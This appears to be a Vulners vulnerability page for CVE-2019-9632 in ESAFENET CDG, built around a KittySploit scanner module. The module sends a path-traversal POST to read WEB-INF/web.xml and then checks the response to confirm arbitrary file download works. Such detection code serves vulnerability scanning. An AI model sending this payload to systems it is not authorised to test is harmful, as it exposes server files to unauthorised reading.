ESAFENET CDG - Arbitrary File Download Detection
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2019-9632 | 8 Mar 201906:00 | – | cve | |
| CVE-2019-9632 | 8 Mar 201906:00 | – | cvelist | |
| ESAFENET CDG - Arbitrary File Download | 14 Oct 202602:05 | – | nuclei | |
| CVE-2019-9632 | 8 Mar 201907:29 | – | nvd | |
| CVE-2019-9632 | 8 Mar 201907:29 | – | osv | |
| Design/Logic Flaw | 8 Mar 201907:29 | – | prion | |
| PT-2019-19766 | 8 Mar 201900:00 | – | ptsecurity | |
| CVE-2019-9632: Undefined Security Weakness | 8 Mar 201900:00 | – | rapid7 | |
| CVE-2019-9632 | 22 May 202508:22 | – | redhatcve |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'ESAFENET CDG - Arbitrary File Download Detection',
'description': 'ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2019', 'esafenet', 'lfi', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': ['https://github.com/HimmelAward/Goby_POC', 'https://github.com/Z0fhack/Goby_POC'],
'cve': 'CVE-2019-9632',
}
def run(self):
path = '/CDGServer3/ClientAjax'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('<servlet-name>CDGPermissions</servlet-name>',)
if any(m in body for m in body_any):
self.set_info(
severity='high',
reason='ESAFENET CDG - Arbitrary File Download detected',
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 37.5
EPSS0.39885